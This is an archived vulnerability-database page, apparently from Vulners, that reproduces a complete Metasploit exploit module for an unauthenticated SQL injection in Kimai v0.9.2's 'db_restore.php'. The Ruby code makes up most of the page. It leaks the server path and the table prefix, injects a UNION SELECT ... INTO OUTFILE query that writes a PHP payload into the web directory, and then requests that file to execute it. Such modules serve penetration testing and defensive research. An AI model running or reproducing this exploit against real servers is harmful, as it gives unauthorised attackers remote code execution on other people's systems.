Lucene search
+L

Kimai v0.9.2 'db_restore.php' SQL Injection

🗓️ 21 May 2013 00:00:00Reported by drone, bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 62 Views

Exploits SQL injection vulnerability in Kimai v0.9.2.x 'db_restore.php' to execute arbitrary SQL queries and write a PHP payload if conditions are met. Checks if target is Kimai v0.9.2.x and retrieves file system path and MySQL table name prefix

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2013-10033
31 Jul 202514:56
attackerkb
circl
Circl
CVE-2013-10033
29 May 201815:50
circl
cnnvd
CNNVD
Kimai 安全漏洞
31 Jul 202500:00
cnnvd
cve
CVE
CVE-2013-10033
31 Jul 202514:56
cve
cvelist
Cvelist
CVE-2013-10033 Kimai 0.9.2 db_restore.php SQL Injection
31 Jul 202514:56
cvelist
euvd
EUVD
EUVD-2013-7255
7 Oct 202500:30
euvd
nvd
NVD
CVE-2013-10033
31 Jul 202515:15
nvd
openvas
OpenVAS
Kimai < 0.9.3 Security Bypass Vulnerability - Active Check
25 Feb 201400:00
openvas
ptsecurity
Positive Technologies
PT-2025-31531 · Undefined · Undefined
31 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2013-10033
2 Aug 202520:22
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection",
        'Description' => %q{
          This module exploits a SQL injection vulnerability in Kimai version
          0.9.2.x. The 'db_restore.php' file allows unauthenticated users to
          execute arbitrary SQL queries. This module writes a PHP payload to
          disk if the following conditions are met: The PHP configuration must
          have 'display_errors' enabled, Kimai must be configured to use a
          MySQL database running on localhost; and the MySQL user must have
          write permission to the Kimai 'temporary' directory.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'drone', # Discovery and PoC
          'bcoles' # Metasploit module
        ],
        'References' => [
          ['CVE', '2013-10033'],
          ['EDB', '25606'],
          ['OSVDB', '93547'],
        ],
        'Payload' => {
          'Space' => 8000, # HTTP POST
          'DisableNops' => true,
          'BadChars' => "\x00\x0a\x0d\x27"
        },
        'Arch' => ARCH_PHP,
        'Platform' => 'php',
        'Targets' => [
          # Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3
          [ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-05-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']),
        OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),
        OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])
      ]
    )
  end

  #
  # Checks if target is Kimai version 0.9.2.x
  #
  def check
    vprint_status("Checking version...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
    if not res
      vprint_error("Request timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
      version = "#{$1}"
      print_good("Found version: #{version}")
      if version >= "0.9.2" and version <= "0.9.2.1306"
        return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
      end
    end
    return Exploit::CheckCode::Safe(version ? "Version #{version} is not vulnerable" : 'The target is not vulnerable')
  end

  def exploit
    # Get file system path
    print_status("Retrieving file system path...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/
      path = "#{$1}"
      print_good("Found file system path: #{path}")
    else
      path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)
      print_warning("Could not retrieve file system path. Assuming '#{path}'")
    end

    # Get MySQL table name prefix from temporary/logfile.txt
    print_status("Retrieving MySQL table name prefix...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)
      table_prefix = "#{prefixes.flatten.last}"
      print_good("Found table name prefix: #{table_prefix}")
    else
      table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)
      print_warning("Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")
    end

    # Create a backup ID
    print_status("Creating a backup to get a valid backup ID...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => {
        'submit' => 'create backup'
      }
    })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)
      id = "#{backup_ids.flatten.last}"
      print_good("Found backup ID: #{id}")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")
    end

    # Write PHP payload to disk using MySQL injection 'into outfile'
    fname = "#{rand_text_alphanumeric(rand(10) + 10)}.php"
    sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
    print_status("Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => Hash[{
        'submit' => 'recover',
        'dates[]' => sqli
      }.to_a.shuffle]
    })
    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.code == 200
      print_good("Payload sent successfully")
      register_files_for_cleanup(fname)
    else
      print_error("Sending payload failed. Received HTTP code: #{res.code}")
    end

    # Remove the backup
    print_status("Removing the backup...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
      'vars_post' => Hash[{
        'submit' => 'delete',
        'dates[]' => "#{id}"
      }.to_a.shuffle]
    })
    if not res
      print_warning("Request timed out")
    elsif res.code == 302 and res.body !~ /#{id}/
      vprint_good("Deleted backup with ID '#{id}'")
    else
      print_warning("Could not remove backup with ID '#{id}'")
    end

    # Execute payload
    print_status("Retrieving file '#{fname}'...")
    res = send_request_raw({
      'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")
    }, 5)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 May 2013 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 49.3
EPSS0.01261
SSVC
62